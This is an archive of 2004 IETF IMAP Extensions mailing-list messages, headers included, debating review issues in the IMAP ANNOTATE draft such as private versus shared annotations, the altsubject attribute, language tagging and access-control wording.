Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Lisa Dusseault CC: IMAP Extensions WG Subject: Re: Issues on annotate-09 References: <5F992D44-AAA1-11D8-8F35-000A95B2BB72@osafoundation.org> <40AE3980.9090007@isode.com> <4B14174B-AB5A-11D8-8F35-000A95B2BB72@osafoundation.org> In-Reply-To: <4B14174B-AB5A-11D8-8F35-000A95B2BB72@osafoundation.org> Content-Type: text/plain; charset=KOI8-R; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Lisa Dusseault wrote: > On May 21, 2004, at 10:16 AM, Alexey Melnikov wrote: > >> Lisa Dusseault wrote: >> >>> I've done a first read/review of >>> http://www.ietf.org/internet-drafts/draft-ietf-imapext-annotate >>> -09.txt, and found some issues (possibly just questions to be >>> cleared up) and a couple nits. I realize the issues/questions may >>> have come up before on the mailing list. If they have, kindly >>> point me in the direction of the thread and I will catch up and >>> re-ask the question if I still need to. >>> >>> ISSUES >> >>> 1. I notice that attributes can have *both* a private and a shared >>> value, as well as just one or the other. >> >> Yes. >> >>> How are client implementors intending to work with this? >> >> The client can choose to use only one of them or both. I suspect >> that the client will most likely just use one of them. >> >>> What's the use case and the rough idea of the UI that would allow >>> users to enter both a private and a shared value? My assumption >>> here is that some attributes will generally be private or public >>> but not both. >> >> A message may have a public comment attached to it, as well as my >> private comment. > > > This seems to be the exception case, not the rule. I would much > prefer a system where any given attribute is either shared everywhere > in the mailbox, or private everywhere in the mailbox -- or even > better, the designer of the proprietary or standard attribute decides > whether it's shared or private everywhere, not just on every mailbox > but on every server. You can still easily handle the exception case > by having a "public-comment" that is shared alongside a > "private-comment" that is not shared -- two separate attributes. > This should make it less likely for users to accidentally reveal > private information and much reduces the management cost of the system. >>> For example, I might decide that the "response-priority" attribute >>> is private on every email in a mailbox because I don't want people >>> who read the mailbox to know how high I rank the priority of >>> responding to them, but the "sender-url" attribute is always shared. >> >> I think the client writer should decide on case-by-case basis. > > Too hard to manage, too flexible to present to the user, overkill. > I'm saying this as an IMAP client implementor, but I haven't been > one for long. Are there any other client implementors out there who > have plans for UIs to manage all this flexibility? Note, I didn't say that every client should allow the user to pick whether the client should operate on an private attribute, a shared attribute or both. For each entry known to the client (and in most cases the client will only support a hardcoded set of entries) the client will have some specific logic how to use/update the entry. So, giving some basic usage guidelines when registering entries would be a good idea. > Are there use cases that support the item by item private/public > flexibility need that I've overlooked? Was there ever a description > of a requirement that lead to this? Timo showed another example. >>> 2. The example in question 1 leads me to another question about >>> whether users will really micromanage whether an attribute is >>> private on this email but shared on another email. I can't imagine >>> the UI which would expose this to the average user, or even to >>> users a couple sigmas to the extreme end of customization. In >>> other words, is this too granular and flexible to really be useful? >> >> I think we don't want to go into details about which attributes are >> private and which are shared. This would be up to a particular >> client implementation to decide. > > Doesn't this draft also define several new attributes, as well as the > general framework? Yes. > Comment and altsubject should be more fully defined. I agree, that adding some text about their usage would be beneficial. >> It would be possible to add a field to the registration template >> asking if the attribute is supposed to be private, shared or both? > > This would definitely be a good idea. > >>> 3. I don't see enough guidance to clients about when and why to use >>> altsubject. Is this supposed to allow internationalized subjects >>> or two subjects in alternate languages? Or is it intended for the >>> user to change the subject displayed while keeping the original >>> subject unchanged? How is the client to know which subject to try >>> to display first? >> >> >> IMHO, the client should always display altsubject (if one exists). >> The client should always display private altsubject, and in the >> absence of this - shared altsubject. The client MAY have a mode for >> displaying the original subject. > > > Since altsubject is being defined in this document, there needs to be > some kind of language to guide clients how to use it consistently > with each other. It seems sensible to me that clients should always > display altsubject if it exists. Once again, I am in favor of this change. >>> 4. How is the language of an attribute value specified? >> >> >> There is no generic way of doing this. Many attributes are not >> intended to be human readable. >> So if you want to define a new human readable attribute, you should >> define how a language for the attribute can be specified. > > > If this standard proposes two new human readable attributes > (altsubject and comment), then it should cover how to define > languages. Otherwise, the draft should make clear that the framework > is not quite usable for human readable attributes in any language > other than the server's default language. > > The problems with not knowing the language include: > - Can't sort reliably; Spanish sorts 'Ch' and 'C' words in separate > sections, I frankly haven't seen a program that performs language specific sorting. Does anybody have user experience with that? > but without knowing that an attribute is in spanish, the server would > sort 'ch' within the 'C' section. > - Can't display reliably; some unicode characters look different > depending on what language is used. In this case we need to define a new attribute "language" that may contain a language tag and add it to the section 2.2.2. ================ Additional comments on the document. I will continue the list started by Lisa: 8). It just occurred to me that the document doesn't register the attributes defined in the document. 9). Discussion regarding shared vs. private attributes reminded me of another issue: some mailboxes can be private-only/shared-only (i.e. some mailboxes would be unable to store any shared/private attributes). This is definitely true for existing mailserver that don't support ANNOTATE. I don't think the draft says anything about this. When I was describing a client behavior when using altsubject, I've said that the private attribute "value" was used first, if none was found the client would fall back to the shared attribute "value". What if the mailbox doesn't support private or shared attributes? 10). In section "2.3 Private versus Shared and Access Control" > A user can only store and fetch private annotations on messages in > any mailbox which they can SELECT or EXAMINE, including ones which > only open READ-ONLY. I think there is a subtle issue here. If a mailbox was opened as read-only (for example the client used the SELECT command, but the user doesn't have ACL rights to store IMAP flags), this sentence says that the client is still able to set IMAP flags through ANNOTATE interface (as all IMAP flags are mapped to ANNOTATE entries). So effectively ANNOTATE can be used to circumvent access controls? I've also found the following text in section 1: > If a server supports annotations, then it MUST store all annotation > data permanently, i.e. there is no concept of 'session only' > annotations that would correspond to the behaviour of 'session' flags > as defined in the IMAP base specification. The exception to this is > IMAP flags (which are accessible directly through annotations) which > may be 'session only' as determined by the FLAGS and PERMANENTFLAGS > responses to a SELECT or EXAMINE command. Does the text in Section 1 tries to prohibit what I've just described? I think the issue should be clarified. This should probably be mentioned in the Security Considerations section. > A user can only store and fetch shared > annotations on messages in any mailbox that they can SELECT and which > opens READ-WRITE. If a client attempts to store or fetch a shared > annotation on a READ-ONLY mailbox, the server MUST respond with a NO > response. Should a reader assume that fetching an attribute with no suffix on a read-only mailbox is not an error? Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4LLnHKl071911; Fri, 21 May 2004 14:49:17 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4LLnHFT071910; Fri, 21 May 2004 14:49:17 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from danu.procontrol.fi (kone17.procontrol.vip.fi [212.149.71.178]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4LLnGCj071869 for ; Fri, 21 May 2004 14:49:16 -0700 (PDT) (envelope-from tss@iki.fi) Received: by danu.procontrol.fi (Postfix, from userid 106) id A132B1C1D0E1; Sat, 22 May 2004 00:49:11 +0300 (EEST) Received: from [192.168.10.217] (ip213-185-36-189.laajakaista.mtv3.fi [213.185.36.189]) by danu.procontrol.fi (Postfix) with ESMTP id 75A651C1D0E2; Sat, 22 May 2004 00:48:37 +0300 (EEST) In-Reply-To: <2147483647.1085152482@[192.168.0.103]> References: <5F992D44-AAA1-11D8-8F35-000A95B2BB72@osafoundation.org> <40AE3980.9090007@isode.com> <4B14174B-AB5A-11D8-8F35-000A95B2BB72@osafoundation.org> <2147483647.1085152482@[192.168.0.103]> Mime-Version: 1.0 (Apple Message framework v613) Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg=pgp-sha1; boundary="Apple-Mail-3--505267667" Message-Id: <9B988090-AB70-11D8-8870-000393CC2E90@iki.fi> Content-Transfer-Encoding: 7bit Cc: IMAP Extensions WG From: Timo Sirainen Subject: Re: Issues on annotate-09 (private and shared) Date: Sat, 22 May 2004 00:48:34 +0300 To: Lyndon Nerenberg X-Pgp-Agent: GPGMail 1.0.2 X-Mailer: Apple Mail (2.613) X-Spam-Status: No, hits=-7.7 required=5.0 tests=AWL,BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,PGP_SIGNATURE_2, QUOTED_EMAIL_TEXT,REFERENCES,REPLY_WITH_QUOTES, USER_AGENT_APPLEMAIL autolearn=ham version=2.54 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.54 (1.174.2.17-2003-05-11-exp) Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --Apple-Mail-3--505267667 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed On 22.5.2004, at 00:14, Lyndon Nerenberg wrote: > --On 2004-5-21 12:08 PM -0700 Lisa Dusseault > wrote: > >> You can still easily handle the exception case by having a >> "public-comment" that is shared alongside a "private-comment" that is >> not shared -- two separate attributes. This should make it less >> likely for users to accidentally reveal private information and much >> reduces the management cost of the system. > > I am in violent agreement here. The current scheme makes it much to > easy for an end-user to inadvertently leak information they intended > to be private. I cannot visualize how a UI could express these > semantics in a way that is so obvious and unambiguous that a typical > end-user (or even an advanced user) would not unintentionally mess > this up at least some of the time. Comment: [...................] [x] private (default) When displaying, show private version if it exists, otherwise shared. Maybe also have shared/private view toggling. I'm not too much against requiring that some annotations be explicitly either shared or private, but I think it should be allowed to specify annotations which may be either. For example with flags annotation I think it would be useful if clients were able to set shared \Seen and \Replied flags so others could see that at least someone else has already read or replied to it, but still also set them privately to see what user's own actions with it have been. --Apple-Mail-3--505267667 content-type: application/pgp-signature; x-mac-type=70674453; name=PGP.sig content-description: This is a digitally signed message part content-disposition: inline; filename=PGP.sig content-transfer-encoding: 7bit -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (Darwin) iD8DBQFArnkzyUhSUUBViskRAlpRAJwNfVUAYBjoFi8V2t6nCXOXOMueSwCfYrON +QdPjyV0o2DiB4izXKirH0k= =Dva3 -----END PGP SIGNATURE----- --Apple-Mail-3--505267667-- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4LLLCkA066691; Fri, 21 May 2004 14:21:12 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4LLLCgv066690; Fri, 21 May 2004 14:21:12 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from kahuna.osafoundation.org (kahuna.osafoundation.org [204.152.186.98]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4LLLCak066667 for ; Fri, 21 May 2004 14:21:12 -0700 (PDT) (envelope-from lisa@osafoundation.org) X-Envelope-From: lisa@osafoundation.org X-Envelope-To: Received: from [192.168.101.178] (w002.z065106067.sjc-ca.dsl.cnc.net [65.106.67.2]) (authenticated bits=0) by kahuna.osafoundation.org (8.12.8/8.12.8) with ESMTP id i4LLKUJL025804 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 21 May 2004 14:20:32 -0700 Mime-Version: 1.0 (Apple Message framework v613) Content-Transfer-Encoding: 7bit Message-Id: Content-Type: text/plain; charset=US-ASCII; format=flowed To: IMAP Extensions WG From: Lisa Dusseault Subject: Meeting in San Diego Date: Fri, 21 May 2004 14:21:06 -0700 X-Mailer: Apple Mail (2.613) X-Scanned-By: MIMEDefang 2.39 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: I'm assuming IMAPEXT should meet in San Diego. Please reserve the week of Aug 2 to 6, and let me know what conflicts to avoid, etc. At that meeting, Pete and I would like to discuss any last call issues that have come up, for most if not all of our charter-required documents. That means that the documents actually need to go into, if not complete, WG last call. The converse is that if very little document progress and review has been done, with the result of few new issues to discuss, we should probably *not* meet. Anyway, I've noted that the authors have asked for annotate and LISTEXT to go to WG last call, so my best guess is we'll be in a good position by mid-summer and have worthwhile progress to discuss. BTW, I intend to review LISTEXT next, and follow the WG discussion to see if a new draft of 'annotate' is desirable before actually doing WG last call. Your input is welcome. lisa Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4LLEgiD065395; Fri, 21 May 2004 14:14:42 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4LLEg73065393; Fri, 21 May 2004 14:14:42 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from orthanc.ca (orthanc.ca [209.89.70.53]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4LLEf98065379 for ; Fri, 21 May 2004 14:14:41 -0700 (PDT) (envelope-from lyndon@orthanc.ca) Received: from [192.168.0.103] (S01060080c828258f.cg.shawcable.net [68.145.156.35]) (authenticated bits=0) by orthanc.ca (8.12.10/8.12.10) with ESMTP id i4LLEfr2002781 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 21 May 2004 15:14:43 -0600 (MDT) (envelope-from lyndon@orthanc.ca) Date: Fri, 21 May 2004 15:14:42 -0600 From: Lyndon Nerenberg To: IMAP Extensions WG Subject: Re: Issues on annotate-09 (private and shared) Message-ID: <2147483647.1085152482@[192.168.0.103]> In-Reply-To: <4B14174B-AB5A-11D8-8F35-000A95B2BB72@osafoundation.org> References: <5F992D44-AAA1-11D8-8F35-000A95B2BB72@osafoundation.org> <40AE3980.9090007@isode.com> <4B14174B-AB5A-11D8-8F35-000A95B2BB72@osafoundation.org> X-Mailer: Mulberry/3.1.1 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham version=2.63 X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on orthanc.ca Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --On 2004-5-21 12:08 PM -0700 Lisa Dusseault wrote: > You can still easily handle the exception case by having a > "public-comment" that is shared alongside a "private-comment" that is > not shared -- two separate attributes. This should make it less > likely for users to accidentally reveal private information and much > reduces the management cost of the system. I am in violent agreement here. The current scheme makes it much to easy for an end-user to inadvertently leak information they intended to be private. I cannot visualize how a UI could express these semantics in a way that is so obvious and unambiguous that a typical end-user (or even an advanced user) would not unintentionally mess this up at least some of the time. --lyndon Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4LJ8tI6038975; Fri, 21 May 2004 12:08:55 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4LJ8t85038974; Fri, 21 May 2004 12:08:55 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from kahuna.osafoundation.org (kahuna.osafoundation.org [204.152.186.98]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4LJ8sus038962 for ; Fri, 21 May 2004 12:08:54 -0700 (PDT) (envelope-from lisa@osafoundation.org) X-Envelope-From: lisa@osafoundation.org X-Envelope-To: ietf-imapext@imc.org Received: from [192.168.101.178] (w002.z065106067.sjc-ca.dsl.cnc.net [65.106.67.2]) (authenticated bits=0) by kahuna.osafoundation.org (8.12.8/8.12.8) with ESMTP id i4LJ8FJL018339 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO); Fri, 21 May 2004 12:08:15 -0700 In-Reply-To: <40AE3980.9090007@isode.com> References: <5F992D44-AAA1-11D8-8F35-000A95B2BB72@osafoundation.org> <40AE3980.9090007@isode.com> Mime-Version: 1.0 (Apple Message framework v613) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <4B14174B-AB5A-11D8-8F35-000A95B2BB72@osafoundation.org> Content-Transfer-Encoding: 7bit Cc: IMAP Extensions WG From: Lisa Dusseault Subject: Re: Issues on annotate-09 Date: Fri, 21 May 2004 12:08:50 -0700 To: Alexey Melnikov X-Mailer: Apple Mail (2.613) X-Scanned-By: MIMEDefang 2.39 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: On May 21, 2004, at 10:16 AM, Alexey Melnikov wrote: > Lisa Dusseault wrote: > >> I've done a first read/review of >> http://www.ietf.org/internet-drafts/draft-ietf-imapext-annotate >> -09.txt, and found some issues (possibly just questions to be cleared >> up) and a couple nits. I realize the issues/questions may have come >> up before on the mailing list. If they have, kindly point me in the >> direction of the thread and I will catch up and re-ask the question >> if I still need to. >> >> ISSUES > >> 1. I notice that attributes can have *both* a private and a shared >> value, as well as just one or the other. > > Yes. > >> How are client implementors intending to work with this? > > The client can choose to use only one of them or both. I suspect that > the client will most likely just use one of them. > >> What's the use case and the rough idea of the UI that would allow >> users to enter both a private and a shared value? My assumption here >> is that some attributes will generally be private or public but not >> both. > > A message may have a public comment attached to it, as well as my > private comment. This seems to be the exception case, not the rule. I would much prefer a system where any given attribute is either shared everywhere in the mailbox, or private everywhere in the mailbox -- or even better, the designer of the proprietary or standard attribute decides whether it's shared or private everywhere, not just on every mailbox but on every server. You can still easily handle the exception case by having a "public-comment" that is shared alongside a "private-comment" that is not shared -- two separate attributes. This should make it less likely for users to accidentally reveal private information and much reduces the management cost of the system. > >> For example, I might decide that the "response-priority" attribute is >> private on every email in a mailbox because I don't want people who >> read the mailbox to know how high I rank the priority of responding >> to them, but the "sender-url" attribute is always shared. > > I think the client writer should decide on case-by-case basis. Too hard to manage, too flexible to present to the user, overkill. I'm saying this as an IMAP client implementor, but I haven't been one for long. Are there any other client implementors out there who have plans for UIs to manage all this flexibility? Are there use cases that support the item by item private/public flexibility need that I've overlooked? Was there ever a description of a requirement that lead to this? > >> 2. The example in question 1 leads me to another question about >> whether users will really micromanage whether an attribute is private >> on this email but shared on another email. I can't imagine the UI >> which would expose this to the average user, or even to users a >> couple sigmas to the extreme end of customization. In other words, >> is this too granular and flexible to really be useful? > > I think we don't want to go into details about which attributes are > private and which are shared. This would be up to a particular client > implementation to decide. Doesn't this draft also define several new attributes, as well as the general framework? Comment and altsubject should be more fully defined. > > It would be possible to add a field to the registration template > asking if the attribute is supposed to be private, shared or both? This would definitely be a good idea. > >> 3. I don't see enough guidance to clients about when and why to use >> altsubject. Is this supposed to allow internationalized subjects or >> two subjects in alternate languages? Or is it intended for the user >> to change the subject displayed while keeping the original subject >> unchanged? How is the client to know which subject to try to display >> first? > > IMHO, the client should always display altsubject (if one exists). The > client should always display private altsubject, and in the absence of > this - shared altsubject. The client MAY have a mode for displaying > the original subject. Since altsubject is being defined in this document, there needs to be some kind of language to guide clients how to use it consistently with each other. It seems sensible to me that clients should always display altsubject if it exists. > >> 4. How is the language of an attribute value specified? > > There is no generic way of doing this. Many attributes are not > intended to be human readable. > So if you want to define a new human readable attribute, you should > define how a language for the attribute can be specified. If this standard proposes two new human readable attributes (altsubject and comment), then it should cover how to define languages. Otherwise, the draft should make clear that the framework is not quite usable for human readable attributes in any language other than the server's default language. The problems with not knowing the language include: - Can't sort reliably; Spanish sorts 'Ch' and 'C' words in separate sections, but without knowing that an attribute is in spanish, the server would sort 'ch' within the 'C' section. - Can't display reliably; some unicode characters look different depending on what language is used. > >> 5. Section 3.6 is where I first noticed the idea that there are >> *multiple* private values for an attribute -- possibly one for each >> user. Did I miss this concept being introduced earlier? How does >> this square with the server limiting the size of annotations, and >> with clients being required to respect the server's limitations -- >> when clients can't be aware of other users' private annotations? > > Private annotations for other users don't count towards the quota > limit for the current user. > > ANNOTATESIZE applies to a single annotation whether it is shared or > private. If ANNOTATESIZE is 100 bytes and I've stored a shared > annotation FOO, which was 50 bytes long, it doesn't mean that I only > have 50 bytes left for my private annotation FOO. OK I understand this now, and this one is no longer an issue. Thanks, Lisa Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4LIEVf0028393; Fri, 21 May 2004 11:14:31 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4LIEVeC028392; Fri, 21 May 2004 11:14:31 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from kahuna.osafoundation.org (kahuna.osafoundation.org [204.152.186.98]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4LIEVo7028385 for ; Fri, 21 May 2004 11:14:31 -0700 (PDT) (envelope-from lisa@osafoundation.org) X-Envelope-From: lisa@osafoundation.org X-Envelope-To: ietf-imapext@imc.org Received: from [192.168.101.178] (w002.z065106067.sjc-ca.dsl.cnc.net [65.106.67.2]) (authenticated bits=0) by kahuna.osafoundation.org (8.12.8/8.12.8) with ESMTP id i4LIDjJL014270 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO); Fri, 21 May 2004 11:13:46 -0700 In-Reply-To: <40AE2E56.5060200@isode.com> References: <5F992D44-AAA1-11D8-8F35-000A95B2BB72@osafoundation.org> <40AE2E56.5060200@isode.com> Mime-Version: 1.0 (Apple Message framework v613) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit Cc: IMAP Extensions WG From: Lisa Dusseault Subject: Re: Issues on annotate-09 Date: Fri, 21 May 2004 11:14:20 -0700 To: Alexey Melnikov X-Mailer: Apple Mail (2.613) X-Scanned-By: MIMEDefang 2.39 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Thanks; this adequately answers my question so I don't consider it to be an issue. lisa On May 21, 2004, at 9:29 AM, Alexey Melnikov wrote: > Lisa Dusseault wrote: > >> 6. Is the APPEND notation completely redundant, given the STORE >> functionality? If so, I don't see why it should be there adding >> complexity. If it's not redundant, let's explain why it is there. > > APPEND command accept a mailbox name as a parameter. Imagine that > APPEND doesn't allow for annotations anymore. In order to append a > message with annotations, the client would have to: > 1). Do a regular APPEND "bar" ... > 2). Close the current mailbox "foo" if one is selected (CLOSE command). > 3). Open mailbox "bar" (SELECT "bar") > 4). Find out what is the message number/UID for the appended message > (this can be returned in a response to the APPEND command, but this is > an extension, so not all IMAP servers support this) > 5). perform STORE to store the required annotations > 6). close the mailbox "bar" > 7). reopen the mailbox "foo". > > Alternatively instead of doing step 2 the client can open a new TCP > connection and do step 3 over the new connection (not to mention that > the client will have to reauthenticate on the new connection). > > As you can see this is not very optimal. APPEND allows to inject > message and set flags/annotations at the same time. > > Alexey > > Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4LHGqs2016529; Fri, 21 May 2004 10:16:52 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4LHGqw1016528; Fri, 21 May 2004 10:16:52 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4LHGovZ016522 for ; Fri, 21 May 2004 10:16:51 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (internal) with ESMTPA; Fri, 21 May 2004 18:16:50 +0100 Message-ID: <40AE3980.9090007@isode.com> Date: Fri, 21 May 2004 18:16:48 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Lisa Dusseault CC: IMAP Extensions WG Subject: Re: Issues on annotate-09 References: <5F992D44-AAA1-11D8-8F35-000A95B2BB72@osafoundation.org> In-Reply-To: <5F992D44-AAA1-11D8-8F35-000A95B2BB72@osafoundation.org> Content-Type: text/plain; charset=KOI8-R; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Lisa Dusseault wrote: > I've done a first read/review of > http://www.ietf.org/internet-drafts/draft-ietf-imapext-annotate-09.txt, > and found some issues (possibly just questions to be cleared up) and a > couple nits. I realize the issues/questions may have come up before > on the mailing list. If they have, kindly point me in the direction > of the thread and I will catch up and re-ask the question if I still > need to. > > ISSUES > 1. I notice that attributes can have *both* a private and a shared > value, as well as just one or the other. Yes. > How are client implementors intending to work with this? The client can choose to use only one of them or both. I suspect that the client will most likely just use one of them. > What's the use case and the rough idea of the UI that would allow > users to enter both a private and a shared value? My assumption here > is that some attributes will generally be private or public but not both. A message may have a public comment attached to it, as well as my private comment. > For example, I might decide that the "response-priority" attribute is > private on every email in a mailbox because I don't want people who > read the mailbox to know how high I rank the priority of responding to > them, but the "sender-url" attribute is always shared. I think the client writer should decide on case-by-case basis. > 2. The example in question 1 leads me to another question about > whether users will really micromanage whether an attribute is private > on this email but shared on another email. I can't imagine the UI > which would expose this to the average user, or even to users a couple > sigmas to the extreme end of customization. In other words, is this > too granular and flexible to really be useful? I think we don't want to go into details about which attributes are private and which are shared. This would be up to a particular client implementation to decide. It would be possible to add a field to the registration template asking if the attribute is supposed to be private, shared or both? > 3. I don't see enough guidance to clients about when and why to use > altsubject. Is this supposed to allow internationalized subjects or > two subjects in alternate languages? Or is it intended for the user > to change the subject displayed while keeping the original subject > unchanged? How is the client to know which subject to try to display > first? IMHO, the client should always display altsubject (if one exists). The client should always display private altsubject, and in the absence of this - shared altsubject. The client MAY have a mode for displaying the original subject. > 4. How is the language of an attribute value specified? There is no generic way of doing this. Many attributes are not intended to be human readable. So if you want to define a new human readable attribute, you should define how a language for the attribute can be specified. > 5. Section 3.6 is where I first noticed the idea that there are > *multiple* private values for an attribute -- possibly one for each > user. Did I miss this concept being introduced earlier? How does > this square with the server limiting the size of annotations, and with > clients being required to respect the server's limitations -- when > clients can't be aware of other users' private annotations? Private annotations for other users don't count towards the quota limit for the current user. ANNOTATESIZE applies to a single annotation whether it is shared or private. If ANNOTATESIZE is 100 bytes and I've stored a shared annotation FOO, which was 50 bytes long, it doesn't mean that I only have 50 bytes left for my private annotation FOO. Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4KL5FYf009021; Thu, 20 May 2004 14:05:15 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4KL5F4N009020; Thu, 20 May 2004 14:05:15 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from kahuna.osafoundation.org (kahuna.osafoundation.org [204.152.186.98]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4KL5FM2009014 for ; Thu, 20 May 2004 14:05:15 -0700 (PDT) (envelope-from lisa@osafoundation.org) X-Envelope-From: lisa@osafoundation.org X-Envelope-To: Received: from [192.168.101.178] (w002.z065106067.sjc-ca.dsl.cnc.net [65.106.67.2]) (authenticated bits=0) by kahuna.osafoundation.org (8.12.8/8.12.8) with ESMTP id i4KL4XJL020199 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 20 May 2004 14:04:33 -0700 Mime-Version: 1.0 (Apple Message framework v613) Content-Transfer-Encoding: 7bit Message-Id: <5F992D44-AAA1-11D8-8F35-000A95B2BB72@osafoundation.org> Content-Type: text/plain; charset=US-ASCII; format=flowed To: IMAP Extensions WG From: Lisa Dusseault Subject: Issues on annotate-09 Date: Thu, 20 May 2004 14:05:07 -0700 X-Mailer: Apple Mail (2.613) X-Scanned-By: MIMEDefang 2.39 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: I've done a first read/review of http://www.ietf.org/internet-drafts/draft-ietf-imapext-annotate-09.txt, and found some issues (possibly just questions to be cleared up) and a couple nits. I realize the issues/questions may have come up before on the mailing list. If they have, kindly point me in the direction of the thread and I will catch up and re-ask the question if I still need to. ISSUES 1. I notice that attributes can have *both* a private and a shared value, as well as just one or the other. How are client implementors intending to work with this? What's the use case and the rough idea of the UI that would allow users to enter both a private and a shared value? My assumption here is that some attributes will generally be private or public but not both. For example, I might decide that the "response-priority" attribute is private on every email in a mailbox because I don't want people who read the mailbox to know how high I rank the priority of responding to them, but the "sender-url" attribute is always shared. 2. The example in question 1 leads me to another question about whether users will really micromanage whether an attribute is private on this email but shared on another email. I can't imagine the UI which would expose this to the average user, or even to users a couple sigmas to the extreme end of customization. In other words, is this too granular and flexible to really be useful? 3. I don't see enough guidance to clients about when and why to use altsubject. Is this supposed to allow internationalized subjects or two subjects in alternate languages? Or is it intended for the user to change the subject displayed while keeping the original subject unchanged? How is the client to know which subject to try to display first? 4. How is the language of an attribute value specified? 5. Section 3.6 is where I first noticed the idea that there are *multiple* private values for an attribute -- possibly one for each user. Did I miss this concept being introduced earlier? How does this square with the server limiting the size of annotations, and with clients being required to respect the server's limitations -- when clients can't be aware of other users' private annotations? 6. Is the APPEND notation completely redundant, given the STORE functionality? If so, I don't see why it should be there adding complexity. If it's not redundant, let's explain why it is there. 7. The Security Considerations section looks inadequate, in fact it looks out of date given that there are private attribute values -- and says they should not be stored! NITS - The word 'optional' has a space in page 12 -- "option al" - Last sentence in page twelve has a cut and paste error around "is results" : "This option al parameter is results in a per-mailbox state change" Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id 